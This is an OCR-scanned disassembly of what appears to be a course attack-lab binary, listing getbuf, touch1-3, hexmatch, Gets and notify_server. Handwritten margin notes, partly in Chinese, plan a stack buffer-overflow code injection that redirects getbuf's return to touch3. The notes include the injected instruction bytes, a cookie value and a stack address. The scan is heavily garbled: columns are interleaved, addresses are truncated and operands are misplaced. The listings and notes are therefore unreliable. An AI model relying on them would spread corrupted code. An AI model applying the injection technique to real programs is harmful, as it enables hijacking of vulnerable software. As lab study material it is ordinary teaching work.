4012a5: 89 44 24 d8	mov	%eax,-0x28(%rsp)
4012a9: 8b 44 24 dc	mov	-0x24(%rsp),%eax
4012ad: 69 c0 c1 bd 00 00	imul	\$0xbdc1,%eax,%eax
4012b3: 89 44 24 dc	mov	%eax,-0x24(%rsp)
4012b7: 8b 44 24 e4	mov	-0x1c(%rsp),%eax
4012bb: 69 c0 e6 86 00 00	imul	\$0x86e6,%eax,%eax
4012c1: 89 44 24 e4	mov	%eax,-0x1c(%rsp)
4012c5: 8b 44 24 f0	mov	-0x10(%rsp),%eax
4012c9: 69 c0 e6 31 00 00	imul	\$0x31e6,%eax,%eax
4012cf: 89 44 24 f0	mov	%eax,-0x10(%rsp)
4012d3: 8b 44 24 e0	mov	-0x20(%rsp),%eax
4012d7: 69 c0 6a 95 00 00	imul	\$0x956a,%eax,%eax
4012dd: 89 44 24 e0	mov	%eax,-0x20(%rsp)
4012e1: 8b 44 24 f0	mov	-0x10(%rsp),%eax
4012e5: 69 c0 91 bc 00 00	imul	\$0xbc91,%eax,%eax
4012eb: 89 44 24 f0	mov	%eax,-0x10(%rsp)
4012ef: 8b 44 24 d8	mov	-0x28(%rsp),%eax
4012f3: 69 c0 9e 3b 00 00	imul	\$0x3b9e,%eax,%eax
4012f9: 89 44 24 d8	mov	%eax,-0x28(%rsp)
4012fd: 8b 44 24 dc	mov	-0x24(%rsp),%eax
401301: 69 c0 b6 59 00 00	imul	\$0x59b6,%eax,%eax
401307: 89 44 24 dc	mov	%eax,-0x24(%rsp)
40130b: 8b 44 24 e4	mov	-0x1c(%rsp),%eax
40130f: 69 c0 5d d5 00 00 401315: 89 44 24 e4	imul	\$0xd55d,%eax,%eax
401319: 8b 44 24 dc	mov	%eax,-0x1c(%rsp) -0x24(%rsp),%eax
40131d: 69 c0 0b ae 00 00	mov imul	
401323: 89 44 24 dc	mov	\$0xae0b,%eax,%eax %eax,-0x24(%rsp)
401327: 8b 44 24 f4	mov	-0xc(%rsp),%eax
40132b: 69 c0 93 65 00 00	imul	\$0x6593,%eax,%eax
401331: 89 44 24 f4	mov	%eax,-0xc(%rsp)
401335: 8b 44 24 d4	mov	-0x2c(%rsp),%eax
401339: 69 c0 ae 8d 00 00	imul	\$0x8dae,%eax,%eax
40133f: 89 44 24 d4	mov	%eax,-0x2c(%rsp)
401343: 8b 44 24 ec	mov	-0x14(%rsp),%eax
401347: 69 c0 29 83 00 00	imul	\$0x8329,%eax,%eax
40134d: 89 44 24 ec	mov	%eax,-0x14(%rsp)
401351: 8b 44 24 e4	mov	-0x1c(%rsp),%eax
401355: 69 c0 02 5a 00 00	imul	\$0x5a02,%eax,%eax
40135b: 89 44 24 e4	mov	%eax,-0x1c(%rsp)
40135f: 8b 44 24 dc	mov	-0x24(%rsp),%eax
401363: 69 c0 35 42 00 00	imul	\$0x4235,%eax,%eax
401369: 89 44 24 dc	mov	%eax,-0x24(%rsp)
40136d: 8b 44 24 d0	mov	-0x30(%rsp),%eax
401371: 69 c0 53 4b 00 00	imul	\$0x4b53,%eax,%eax
401377: 89 44 24 d0	mov	%eax,-0x30(%rsp)
40137b: 8b 44 24 e4	mov	-0x1c(%rsp),%eax
40137f: 69 c0 4f ea 00 00	imul	\$0xea4f,%eax,%eax

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401385: 89 44 24 e4	mov	%eax,-0x1c(%rsp)
401389: 8b 44 24 d0	mov	-0x30(%rsp),%eax
40138d: 69 c0 ad f7 00 00	imul	\$0xf7ad,%eax,%eax
401393: 89 44 24 d0	mov	%eax,-0x30(%rsp)
401397: 8b 44 24 f4	mov	-0xc(%rsp),%eax
40139b: 69 c0 90 aa 00 00	imul	\$0xaa90,%eax,%eax
4013a1: 89 44 24 f4	mov	%eax,-0xc(%rsp)
4013a5: 8b 44 24 d0	mov	-0x30(%rsp),%eax
4013a9: 69 c0 10 e9 00 00	imul	\$0xe910,%eax,%eax
4013af: 89 44 24 d0	mov	%eax,-0x30(%rsp)
4013b3: 8b 44 24 f4	mov	-0xc(%rsp),%eax
4013b7: 69 c0 d2 4b 00 00	imul	\$0x4bd2,%eax,%eax
4013bd: 89 44 24 f4	mov	%eax,-0xc(%rsp)
4013c1: 8b 44 24 e0	mov	-0x20(%rsp),%eax
4013c5: 69 c0 40 fb 00 00	imul	\$0xfb40,%eax,%eax
4013cb: 89 44 24 e0	mov	%eax,-0x20(%rsp)
4013cf: 8b 44 24 d8	mov	-0x28(%rsp),%eax
4013d3: 69 c0 b3 c9 00 00	imul	\$0xc9b3,%eax,%eax
4013d9: 89 44 24 d8	mov	%eax,-0x28(%rsp)
4013dd: 8b 44 24 d0	mov	-0x30(%rsp),%eax
4013e1: 69 c0 8d 6a 00 00	imul	\$0x6a8d,%eax,%eax
4013e7: 89 44 24 d0	mov	%eax,-0x30(%rsp)
4013eb: 8b 44 24 d8	mov	-0x28(%rsp),%eax
4013ef: 69 c0 3e 2d 00 00	imul	\$0x2d3e,%eax,%eax
4013f5: 89 44 24 d8	mov	%eax,-0x28(%rsp)
4013f9: 8b 44 24 f4	mov	-0xc(%rsp),%eax
4013fd: 69 c0 36 8b 00 00	imul	\$0x8b36,%eax,%eax
401403: 89 44 24 f4	mov	%eax,-0xc(%rsp)
401407: 8b 44 24 f0	mov	-0x10(%rsp),%eax
40140b: 69 c0 31 ee 00 00	imul	\$0xee31,%eax,%eax
401411: 89 44 24 f0	mov	%eax,-0x10(%rsp)
401415: 8b 44 24 f0	mov	-0x10(%rsp),%eax
401419: 69 c0 3c aa 00 00	imul	\$0xaa3c,%eax,%eax
40141f: 89 44 24 f0	mov	%eax,-0x10(%rsp)
401423: 8b 44 24 e0	mov	-0x20(%rsp),%eax
401427: 69 c0 17 7c 00 00	imul	\$0x7c17,%eax,%eax
40142d: 89 44 24 e0	mov	%eax,-0x20(%rsp)
401431: 8b 44 24 d0	mov	-0x30(%rsp),%eax
401435: 69 c0 e3 27 00 00	imul	\$0x27e3,%eax,%eax
40143b: 89 44 24 d0	mov	%eax,-0x30(%rsp)
40143f: 8b 44 24 e8	mov	-0x18(%rsp),%eax
401443: 69 c0 3b f0 00 00	imul	\$0xf03b,%eax,%eax
401449: 89 44 24 e8	mov	%eax,-0x18(%rsp)
40144d: 8b 44 24 ec	mov	-0x14(%rsp),%eax
401451: 69 c0 4e 77 00 00	imul	\$0x774e,%eax,%eax
401457: 89 44 24 ec	mov	%eax,-0x14(%rsp)
40145b: 8b 44 24 e4	mov	-0x1c(%rsp),%eax
40145f: 69 c0 4b 7c 00 00	imul	\$0x7c4b,%eax,%eax
401465: 89 44 24 e4	mov	%eax,-0x1c(%rsp)
401469: 8b 44 24 ec	mov	-0x14(%rsp),%eax
40146d: 69 c0 c1 4b 00 00	imul	\$0x4bc1,%eax,%eax
401473: 89 44 24 ec	mov	%eax,-0x14(%rsp)
		,,

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401477: 8b 44 24 ec	mov	-0x14(%rsp),%eax
40147b: 69 c0 8f 98 00 00	imul	\$0x988f,%eax,%eax
401481: 89 44 24 ec 401485: 8b 44 24 d4	mov	%eax,-0x14(%rsp)
401489: 69 c0 d5 66 00 00	mov imul	-0x2c(%rsp),%eax
40148f: 89 44 24 d4		\$0x66d5,%eax,%eax %eax,-0x2c(%rsp)
401493: 8b 44 24 f0	mov mov	-0x10(%rsp),%eax
401497: 69 c0 72 da 00 00	imul	\$0xda72,%eax,%eax
40149d: 89 44 24 f0	mov	%eax,-0x10(%rsp)
4014a1: 8b 44 24 f4	mov	-0xc(%rsp),%eax
4014a5: 69 c0 d1 6b 00 00	imul	\$0x6bd1,%eax,%eax
4014ab: 89 44 24 f4	mov	%eax,-0xc(%rsp)
4014af: 8b 44 24 e0	mov	-0x20(%rsp),%eax
4014b3: 69 c0 0c b7 00 00	imul	\$0xb70c,%eax,%eax
4014b9: 89 44 24 e0	mov	%eax,-0x20(%rsp)
4014bd: 8b 44 24 d8	mov	-0x28(%rsp),%eax
4014c1: 69 c0 35 43 00 00	imul	\$0x4335,%eax,%eax
4014c7: 89 44 24 d8	mov	%eax,-0x28(%rsp)
4014cb: 8b 44 24 ec	mov	-0x14(%rsp),%eax
4014cf: 69 c0 f6 ee 00 00	imul	\$0xeef6,%eax,%eax
4014d5: 89 44 24 ec	mov	%eax,-0x14(%rsp)
4014d9: 8b 44 24 ec	mov	-0x14(%rsp),%eax
4014dd: 69 c0 1c 77 00 00	imul	\$0x771c,%eax,%eax
4014e3: 89 44 24 ec	mov	%eax,-0x14(%rsp)
4014e7: 8b 44 24 e0	mov	-0x20(%rsp),%eax
4014eb: 69 c0 4f e7 00 00	imul	\$0xe74f,%eax,%eax
4014f1: 89 44 24 e0	mov	%eax,-0x20(%rsp)
4014f5: 8b 44 24 e4	mov	-0x1c(%rsp),%eax
4014f9: 69 c0 81 4e 00 00	imul	\$0x4e81,%eax,%eax
4014ff: 89 44 24 e4	mov	%eax,-0x1c(%rsp)
401503: 8b 44 24 d0	mov	-0x30(%rsp),%eax
401507: 69 c0 97 25 00 00	imul	\$0x2597,%eax,%eax
40150d: 89 44 24 d0	mov	%eax,-0x30(%rsp)
401511: 8b 44 24 d0	mov	-0x30(%rsp),%eax
401515: 69 c0 b3 21 00 00	imul	\$0x21b3,%eax,%eax
40151b: 89 44 24 d0	mov	%eax,-0x30(%rsp)
40151f: 8b 44 24 f0	mov	-0x10(%rsp),%eax
401523: 69 c0 9a e9 00 00	imul	\$0xe99a,%eax,%eax
401529: 89 44 24 f0	mov	%eax,-0x10(%rsp)
40152d: 8b 44 24 d8	mov	-0x28(%rsp),%eax
401531: 69 c0 5d f0 00 00	imul	\$0xf05d,%eax,%eax
401537: 89 44 24 d8	mov	%eax,-0x28(%rsp)
40153b: 8b 44 24 e8	mov	-0x18(%rsp),%eax
40153f: 69 c0 fd 07 00 00	imul	\$0x7fd,%eax,%eax
401545: 89 44 24 e8	mov	%eax,-0x18(%rsp)
401549: 8b 44 24 d8	mov	-0x28(%rsp),%eax
40154d: 69 c0 c1 8c 00 00	imul	\$0x8cc1,%eax,%eax
401553: 89 44 24 d8	mov	%eax,-0x28(%rsp)
401557: 8b 44 24 f4	mov	-0xc(%rsp),%eax
40155b: 69 c0 ef 70 00 00	imul	\$0x70ef,%eax,%eax
401561: 89 44 24 f4	mov	%eax,-0xc(%rsp)
401565: 8b 44 24 d4	mov	-0x2c(%rsp),%eax

4	01569:	69 c0 ed 84 00 00	imul	\$0x84ed,%eax,%eax
4	0156f:	89 44 24 d4	mov	%eax,-0x2c(%rsp)
4	01573:	8b 44 24 d8	mov	-0x28(%rsp),%eax
4	01577:	69 c0 ad 55 00 00	imul	\$0x55ad,%eax,%eax
4	0157d:	89 44 24 d8	mov	%eax,-0x28(%rsp)
4	01581:	8b 44 24 d4	mov	-0x2c(%rsp),%eax
		69 c0 86 ef 00 00	imul	\$0xef86,%eax,%eax
		89 44 24 d4	mov	%eax,-0x2c(%rsp)
	0158f:	8b 44 24 e0	mov	-0x20(%rsp),%eax
		69 c0 1c c7 00 00	imul	\$0xc71c,%eax,%eax
		89 44 24 e0	mov	%eax,-0x20(%rsp)
		8b 44 24 d8	mov	-0x28(%rsp),%eax
		69 c0 04 f1 00 00	imul	\$0xf104,%eax,%eax
		89 44 24 d8		
			mov	%eax,-0x28(%rsp)
		8b 44 24 f0	mov	-0x10(%rsp),%eax
	015af:	69 c0 27 01 00 00	imul	\$0x127,%eax,%eax
		89 44 24 f0	mov	%eax,-0x10(%rsp)
		8b 44 24 d4	mov	-0x2c(%rsp),%eax
		69 c0 39 93 00 00	imul	\$0x9339,%eax,%eax
		89 44 24 d4	mov	%eax,-0x2c(%rsp)
		8b 44 24 f0	mov	-0x10(%rsp),%eax
4	015cb:	69 c0 78 89 00 00	imul	\$0x8978,%eax,%eax
		89 44 24 f0	mov	%eax,-0x10(%rsp)
4	015d5:	8b 44 24 e4	mov	-0x1c(%rsp),%eax
4	015d9:	69 c0 de 4b 00 00	imul	\$0x4bde,%eax,%eax
4	015df:	89 44 24 e4	mov	%eax,-0x1c(%rsp)
4	015e3:	8b 44 24 dc	mov	-0x24(%rsp),%eax
4	015e7:	69 c0 1e 58 00 00	imul	\$0x581e,%eax,%eax
4	015ed:	89 44 24 dc	mov	%eax,-0x24(%rsp)
4	015f1:	8b 44 24 f4	mov	-0xc(%rsp),%eax
4	015f5:	69 c0 e2 c4 00 00	imul	\$0xc4e2,%eax,%eax
	015fb:	89 44 24 f4	mov	%eax,-0xc(%rsp)
	015ff:	8b 44 24 e4	mov	-0x1c(%rsp),%eax
		69 c0 93 06 00 00	imul	\$0x693,%eax,%eax
		89 44 24 e4	mov	%eax,-0x1c(%rsp)
		8b 44 24 f4	mov	-0xc(%rsp),%eax
		69 c0 9f a7 00 00	imul	\$0xa79f,%eax,%eax
		89 44 24 f4	mov	%eax,-0xc(%rsp)
		8b 44 24 d8	mov	-0x28(%rsp),%eax
	01615.	69 c0 5e f1 00 00	imul	\$0xf15e,%eax,%eax
		89 44 24 d8	mov	%eax,-0x28(%rsp)
	01629:			
		69 c0 1d af 00 00	mov	-0x14(%rsp),%eax
			imul	\$0xaf1d,%eax,%eax
		89 44 24 ec	mov	%eax,-0x14(%rsp)
		8b 44 24 f4	mov	-0xc(%rsp),%eax
		69 c0 f7 27 00 00	imul	\$0x27f7,%eax,%eax
		89 44 24 f4	mov	%eax,-0xc(%rsp)
	01645:		mov	-0x30(%rsp),%eax
	01649:		imul	\$0xadaf,%eax,%eax
	0164f:	89 44 24 d0	mov	%eax,-0x30(%rsp)
		8b 44 24 dc	mov	-0x24(%rsp),%eax
4	01657:	69 c0 c9 24 00 00	imul	\$0x24c9,%eax,%eax

```
40165d: 89 44 24 dc
                                  %eax,-0x24(%rsp)
                            mov
 401661: ba 00 00 00 00
                                  $0x0,%edx
                            mov
 401666: b8 00 00 00 00
                                  $0x0.%eax
                            mov
 40166b: eb 0b
                                 401678 <scramble+0x52e>
                            ami
 40166d: 89 d1
                       mov
                             %edx.%ecx
 40166f: 8b 4c 8c d0
                                 -0x30(%rsp,%rcx,4),%ecx
                            mov
 401673: 01 c8
                       add
                            %ecx,%eax
 401675: 83 c2 01
                            add $0x1,%edx
 401678: 83 fa 09
                            cmp $0x9,%edx
 40167b: 76 f0
                       ibe 40166d <scramble+0x523>
 40167d: f3 c3
                       repz reta
00000000040167f < getbuf>:
                                               11 rsp # K24 By 10s
 40167f: 48 83 ec 18
                                 $0x18,%rsp
                                                                               86
                            sub
 401683: 48 89 e7
                                  %rsp,%rdi
                            mov
 401686: e8 59 02 00 00
                            callq 4018e4 <Gets>
 40168b: b8 01 00 00 00
                                  $0x1,%eax
                            mov
 401690: 48 83 c4 18
                                              析辟暖冲区的首
                                 $0x18,%rsp
                            add
 401694: c3
                       reta
                                                                           30
                                              tete 0x55654c98
                                                                                  1 By te A 21/2 Hexão
0000000000401695 <touch1>:
 401695: 48 83 ec 08
                                 $0x8,%rsp
                                                              # 6044fc <vlevel>
 401699: c7 05 59 2e 20 00 01
                                movl $0x1,0x202e59(%rip)
 4016a0: 00 00 00
                                  $0x402d87,%edi
 4016a3: bf 87 2d 40 00
                            mov
 4016a8: e8 33 f5 ff ff
                            callq 400be0 <puts@plt>
 4016ad: bf 01 00 00 00
                            mov
                                  $0x1,%edi
 4016b2: e8 e8 03 00 00
                            callq 401a9f <validate>
                                  $0x0,%edi
 4016b7: bf 00 00 00 00
                            mov
 4016bc: e8 6f f6 ff ff
                            callq 400d30 <exit@plt>
                                  my wwkie · 0x3d9349ca
00000000004016c1 <touch2>:
 4016c1: 48 83 ec 08
                                 $0x8,%rsp
                            sub
 4016c5: 89 fa
                             %edi.%edx
                       mov
 4016c7: c7 05 2b 2e 20 00 02
                                movl $0x2,0x202e2b(%rip)
                                                              # 6044fc <vlevel>
 4016ce: 00 00 00
                                                          # 604504 <cookie>gcc -C
 4016d1: 39 3d 2d 2e 20 00
                           cmp
                                  %edi,0x202e2d(%rip)
 4016d7: 74 28
                           401701 <touch2+0x40>
                                                        攻击代码段, Objdump of attack2.0>tht
 4016d9: be d8 2d 40 00
                            mov
                                  $0x402dd8,%esi
 4016de: bf 01 00 00 00
                                  $0x1,%edi
                            mov
 4016e3: b8 00 00 00 00
                                  $0x0,%eax
                            mov
                                                                        $ 0x3d9549ca, 2rdi
                                                             mov
 4016e8: e8 03 f6 ff ff
                            callq 400cf0 <__printf_chk@plt>
 4016ed: bf 02 00 00 00
                            mov
                                  $0x2,%edi
                                                             Pushq、 0x4016C1 // 每小hwh2
 4016f2: e8 6d 04 00 00
                            callq 401b64 <fail>
 4016f7: bf 00 00 00 00
                            mov
                                  $0x0,%edi
 4016fc: e8 2f f6 ff ff
                            callq 400d30 <exit@plt>
                                                              retq
 401701: be b0 2d 40 00
                                  $0x402db0,%esi
                            mov
 401706: bf 01 00 00 00
                                  $0x1,%edi
                            mov
                                                            循注入字符制
 40170b: b8 00 00 00 00
                                  $0x0,%eax
                            mov
 401710: e8 db f5 ff ff
                            callq 400cf0 <__printf_chk@plt>
 401715: bf 02 00 00 00
                                  $0x2,%edi
                            mov
 40171a: e8 80 03 00 00
                            callq 401a9f <validate>
```

```
0000000000401721 <hexmatch>:
401721: 41 54
                       push %r12
401723: 55
                       push %rbp
401724: 53
                       push %rbx
                                 $0x70,%rsp // 升解 112B像吧 = 5符串地址的
401725: 48 83 ec 70
                            sub
401729: 89 fd
                              %edi,%ebp
                       mov
40172b: 48 89 f3
                                  %rsi,%rbx
                            mov
                            calla 400cb0 <random@plt>
40172e: e8 7d f5 ff ff
401733: 48 89 c1
                                  %rax,%rcx
                            mov
401736: 48 ba 0b d7 a3 70 3d
                                 movabs $0xa3d70a3d70a3d70b,%rdx
40173d: 0a d7 a3
401740: 48 f7 ea
                            imul
                                 %rdx
401743: 48 01 ca
                            add
                                  %rcx,%rdx
 401746: 48 c1 fa 06
                            sar
                                 $0x6,%rdx
40174a: 48 89 c8
                                  %rcx,%rax
                            mov
40174d: 48 c1 f8 3f
                                 $0x3f,%rax
                            sar
401751: 48 29 c2
                                 %rax,%rdx
                            sub
                                 (%rdx,%rdx,4),%rax
401754: 48 8d 04 92
                            lea
401758: 48 8d 14 80
                            lea
                                 (%rax, %rax, 4), %rdx
                                 lea 0x0(,%rdx,4),%rax
40175c: 48 8d 04 95 00 00 00
401763: 00
401764: 48 29 c1
                                  %rax,%rcx
                            sub
401767: 4c 8d 24 0c
                                 (%rsp,%rcx,1),%r12
                            lea
40176b: 41 89 e8
                                  %ebp,%r8d
                            mov
40176e: b9 a4 2d 40 00
                                  $0x402da4,%ecx
                            mov
401773: 48 c7 c2 ff ff ff
                            mov
                                  $0xfffffffffffff,%rdx
40177a: be 01 00 00 00
                                  $0x1,%esi
                            mov
40177f: 4c 89 e7
                                  %r12,%rdi
                            mov
401782: b8 00 00 00 00
                                  $0x0,%eax
                            mov
401787: e8 d4 f5 ff ff
                            callq 400d60 <__sprintf_chk@plt>
40178c: ba 09 00 00 00
                                  $0x9,%edx
                            mov
                                  %r12.%rsi
401791: 4c 89 e6
                            mov
401794: 48 89 df
                                  %rbx,%rdi
                            mov
401797: e8 24 f4 ff ff
                            callq 400bc0 <strncmp@plt>
40179c: 85 c0
                       test %eax,%eax
                            sete %al
40179e: 0f 94 c0
4017a1: 0f b6 c0
                            movzbl %al, %eax
4017a4: 48 83 c4 70
                            add $0x70,%rsp
4017a8: 5b
                       qoq
                             %rbx
                                        path Getbuf buf > expirition ande > ret to touch3()
4017a9: 5d
                             %rbp
                       pop
4017aa: 41 5c
                       pop
                             %r12
                                 Qoal:使ctarget在getbuf()后执行fouch3()而死回fet,并给towchs任人
4017ac: c3
                       reta
                                   param> CWNOE 附3符串表示【危险附征、8Thex,无0x)
00000000004017ad <touch3>:
                                              3d 9349ca = 33 64 39 35 34 39 63 61 00 10
                             %rbx
4017ad: 53
                       push
                                  %rdi,%rbx
4017ae: 48 89 fb
                            mov
4017b1: c7 05 41 2d 20 00 03
                                 movl $0x3,0x202d41(%rip)
                                                               # 6044fc <vlevel>
4017b8: 00 00 00
4017bb: 48 89 fe
                                  %rdi,%rsi
                            mov
4017be: 8b 3d 40 2d 20 00
                            mov
                                  0x202d40(%rip),%edi
                                                           # 604504 < cookie>
                                  攻击代码,
                                              MOV
                                                                       ;设置参数,CurkieS符串首地址
                                                            _ , %rdî
                                                                ; touch 3() buf. get
                              (23-explaition 5):
                                              pushq
```

reta

data

=0x55654cb8

bufinge

buf niher

ret. to get Heat)

4016f7 <touch2+0x36>

imp

40171f: eb d6

```
3-exploition.o:
                                                                        file format elf64-x86-64
 4017c4: e8 58 ff ff ff
                             callq 401721 <hexmatch>
4017c9: 85 c0
                        test %eax,%eax
                                                        Disassembly of section .text:
 4017cb: 74 2b
                            4017f8 <touch3+0x4b>
                                                         48 c7 c7 b8 4c 65 55
68 ad 17 40 00
                                                                                      $0x55654cb8,%rdi
                                   %rbx.%rdx
                                                                                 mov
 4017cd: 48 89 da
                             mov
                                                                                      $0x4017ad
                                                                                 pushq
 4017d0: be 00 2e 40 00
                             mov
                                   $0x402e00,%esi
                                                              c3
                                                                                 retq
 4017d5: bf 01 00 00 00
                                   $0x1,%edi
                             mov
 4017da: b8 00 00 00 00
                                   $0x0,%eax
                             mov
                                                             编写 l3-attack,txt1最终及击容解制
 4017df: e8 0c f5 ff ff
                             callq 400cf0 < printf chk@plt>
 4017e4: bf 03 00 00 00
                                   $0x3,%edi
                                                             13- attack txt
                             mov
 4017e9: e8 b1 02 00 00
                             calla 401a9f <validate>
                                                                               addr.
 4017ee: bf 00 00 00 00
                                   $0x0, %edi
                             mov
                                                                                         55
 4017f3: e8 38 f5 ff ff
                             callq 400d30 <exit@plt>
                                                                                                    代码
                                                                       40
                                                                           00
                                                                                    00
                                                                                         00
                                                                                             00
 4017f8: 48 89 da
                                   %rbx,%rdx
                             mov
 4017fb: be 28 2e 40 00
                             mov
                                   $0x402e28,%esi
                                                                  00 00 00
                                                                              00
                                                                                        00
                                                                                    OV
 401800: bf 01 00 00 00
                                   $0x1,%edi
                             mov
 401805: b8 00 00 00 00
                                   $0x0,%eax
                             mov
                                                                                   00 00
 40180a: e8 e1 f4 ff ff
                             callq 400cf0 <__printf_chk@plt>
 40180f: bf 03 00 00 00
                                   $0x3.%edi
                             mov
 401814: e8 4b 03 00 00
                             callq 401b64 <fail>
                                                            then thex 2 ran < 65- attack taxty la-attack tan ext
 401819: eb d3
                                   4017ee <touch3+0x41>
                             ami
                                                                 .) cturget
                                                                               13- ottack-row.+xt
000000000040181b <test>:
 40181b: 48 83 ec 08
                                   $0x8,%rsp
                             sub
 40181f: b8 00 00 00 00
                                   $0x0,%eax
                             mov
 401824: e8 56 fe ff ff
                             callq 40167f <getbuf>
 401829: 89 c2
                              %eax,%edx
                        mov
 40182b: be 50 2e 40 00
                                   $0x402e50,%esi
                             mov
 401830: bf 01 00 00 00
                             mov
                                   $0x1,%edi
 401835: b8 00 00 00 00
                                   $0x0,%eax
                             mov
 40183a: e8 b1 f4 ff ff
                             callq 400cf0 <__printf_chk@plt>
 40183f: 48 83 c4 08
                                   $0x8,%rsp
                             add
 401843: c3
                        reta
0000000000401844 <save char>:
 401844: 8b 05 da 38 20 00
                                   0x2038da(%rip), %eax
                                                             # 605124 < gets cnt>
                             mov
 40184a: 3d ff 03 00 00
                                   $0x3ff,%eax
                             cmp
 40184f: 7f 49
                             40189a <save_char+0x56>
                        jg
                              %edi,%ecx
 401851: 89 f9
                        mov
 401853: c0 e9 04
                             shr
                                  $0x4,%cl
 401856: 8d 14 40
                                  (%rax, %rax, 2), %edx
                             lea
                                   $0xf,%ecx
 401859: 83 e1 0f
                             and
 40185c: 0f b6 b1 20 31 40 00
                                  movzbl 0x403120(%rcx),%esi
 401863: 48 63 ca
                             movslq %edx,%rcx
 401866: 40 88 b1 20 45 60 00
                                  mov %sil,0x604520(%rcx)
 40186d: 8d 4a 01
                                  0x1(%rdx),%ecx
                             lea
 401870: 83 e7 0f
                                  $0xf,%edi
 401873: 0f b6 b7 20 31 40 00
                                  movzbl 0x403120(%rdi), %esi
 40187a: 48 63 c9
                             movslq %ecx,%rcx
 40187d: 40 88 b1 20 45 60 00
                                  mov %sil,0x604520(%rcx)
 401884: 83 c2 02
                             add $0x2,%edx
                             movslq %edx,%rdx
 401887: 48 63 d2
 40188a: c6 82 20 45 60 00 20
                                  movb $0x20,0x604520(%rdx)
```

```
401891: 83 c0 01
                            add
                                  $0x1,%eax
 401894: 89 05 8a 38 20 00
                            mov
                                  %eax,0x20388a(%rip)
                                                          # 605124 < gets cnt>
 40189a: f3 c3
                       repz reta
000000000040189c <save term>:
 40189c: 8b 05 82 38 20 00
                                  0x203882(%rip),%eax
                           mov
                                                           # 605124 < gets_cnt>
 4018a2: 8d 04 40
                                 (%rax, %rax, 2), %eax
                            lea
 4018a5: 48 98
                       cltq
                                 movb $0x0,0x604520(%rax)
 4018a7: c6 80 20 45 60 00 00
 4018ae: c3
                       reta
00000000004018af <check fail>:
 4018af: 48 83 ec 08
                            sub
                                 $0x8,%rsp
 4018b3: 0f be 15 6e 38 20 00
                                 movsbl 0x20386e(%rip),%edx
                                                                # 605128 <target_prefix>
 4018ba: 41 b8 20 45 60 00
                                  $0x604520,%r8d
                            mov
 4018c0: 8b 0d 32 2c 20 00
                                  0x202c32(%rip),%ecx
                                                          # 6044f8 <check level>
                            mov
 4018c6: be 73 2e 40 00
                                  $0x402e73,%esi
                            mov
 4018cb: bf 01 00 00 00
                            mov $0x1.%edi
 4018d0: b8 00 00 00 00
                            mov $0x0, %eax
 4018d5: e8 16 f4 ff ff
                            callq 400cf0 < printf chk@plt>
 4018da: bf 01 00 00 00
                            mov
                                 $0x1.%edi
 4018df: e8 4c f4 ff ff
                            callq 400d30 <exit@plt>
00000000004018e4 <Gets>:
 4018e4: 41 54
                       push %r12
 4018e6: 55
                       push %rbp
 4018e7: 53
                       push %rbx
 4018e8: 49 89 fc
                                  %rdi.%r12
                            mov
 4018eb: c7 05 2f 38 20 00 00
                                 movl $0x0,0x20382f(%rip)
                                                              # 605124 < gets cnt>
 4018f2: 00 00 00
 4018f5: 48 89 fb
                            mov
                                  %rdi,%rbx
                       jmp 40190b <Gets+0x27>
 4018f8: eb 11
 4018fa: 48 8d 6b 01
                            lea 0x1(%rbx),%rbp
 4018fe: 88 03
                             %al.(%rbx)
                       mov
                            movzbl %al,%edi
 401900: 0f b6 f8
 401903: e8 3c ff ff ff
                            callq 401844 <save char>
 401908: 48 89 eb
                            mov
                                  %rbp,%rbx
 40190b: 48 8b 3d de 2b 20 00
                                 mov 0x202bde(%rip),%rdi
                                                               # 6044f0 <infile>
 401912: e8 a9 f3 ff ff
                            callq 400cc0 < IO getc@plt>
 401917: 83 f8 ff
                       cmp $0xffffffff,%eax
                       je 401921 <Gets+0x3d>
 40191a: 74 05
 40191c: 83 f8 0a
                            cmp $0xa,%eax
 40191f: 75 d9
                            4018fa <Gets+0x16>
                       ine
 401921: c6 03 00
                            movb $0x0,(%rbx)
 401924: b8 00 00 00 00
                            mov $0x0,%eax
 401929: e8 6e ff ff ff
                            callq 40189c <save term>
 40192e: 4c 89 e0
                                  %r12,%rax
                            mov
 401931: 5b
                       pop
                            %rbx
 401932: 5d
                             %rbp
                       pop
 401933: 41 5c
                             %r12
                       pop
 401935: c3
                       reta
```

```
000000000401936 <notify_server>:
401936: 83 3d cb 2b 20 00 00
                                cmpl $0x0,0x202bcb(%rip)
                                                              # 604508 <is checker>
40193d: 0f 85 5a 01 00 00
                           ine
                                401a9d <notify server+0x167>
401943: 55
                       push %rbp
                       push %rbx
401944: 53
401945: 48 81 ec 08 40 00 00
                                sub $0x4008,%rsp
40194c: 89 fb
                       mov
                             %edi,%ebx
40194e: 8b 05 d0 37 20 00
                                0x2037d0(%rip),%eax
                           mov
                                                          # 605124 < gets_cnt>
401954: 83 c0 64
                            add $0x64,%eax
401957: 3d 00 20 00 00
                            cmp $0x2000.%eax
40195c: 0f 8f c0 00 00 00
                                401a22 < notify server+0xec>
                            ia
401962: Of be 05 bf 37 20 00 movsbl 0x2037bf(%rip), %eax
                                                           # 605128 <target prefix>
                                cmpl $0x0,0x202b18(%rip)
401969: 83 3d 18 2b 20 00 00
                                                              # 604488 < notify>
401970: 0f 84 ca 00 00 00
                                401a40 < notify server+0x10a>
401976: 8b 15 84 2b 20 00
                           mov 0x202b84(%rip),%edx
                                                           # 604500 <authkey>
40197c: 85 db
                            test %ebx,%ebx
40197e: 0f 84 c6 00 00 00
                                401a4a <notify_server+0x114>
401984: bd 89 2e 40 00
                            mov $0x402e89, %ebp
401989: 68 20 45 60 00
                            pushq $0x604520
                       push %rsi
40198e: 56
40198f: 50
                       push %rax
401990: 52
                       push %rdx
401991: 49 89 e9
                            mov
                                  %rbp,%r9
401994: 44 8b 05 ad 27 20 00
                                mov 0x2027ad(%rip),%r8d
                                                               # 604148 <target id>
40199b: b9 93 2e 40 00
                                  $0x402e93,%ecx
                            mov
4019a0: ba 00 20 00 00
                                  $0x2000,%edx
                            mov
                                  $0x1.%esi
4019a5: be 01 00 00 00
                            mov
4019aa: 48 8d bc 24 20 20 00
                                lea 0x2020(%rsp),%rdi
4019b1: 00
4019b2: b8 00 00 00 00
                            mov $0x0,%eax
                            callq 400d60 <__sprintf_chk@plt>
4019b7: e8 a4 f3 ff ff
4019bc: 48 83 c4 20
                            add $0x20,%rsp
4019c0: 83 3d c1 2a 20 00 00
                                cmpl $0x0,0x202ac1(%rip)
                                                              # 604488 < notify>
                                401a81 <notify server+0x14b>
4019c7: 0f 84 b4 00 00 00
4019cd: 85 db
                            test %ebx,%ebx
4019cf: 0f 84 a0 00 00 00
                                401a75 < notify_server+0x13f>
                                  %rsp,%r9
4019d5: 49 89 e1
                            mov
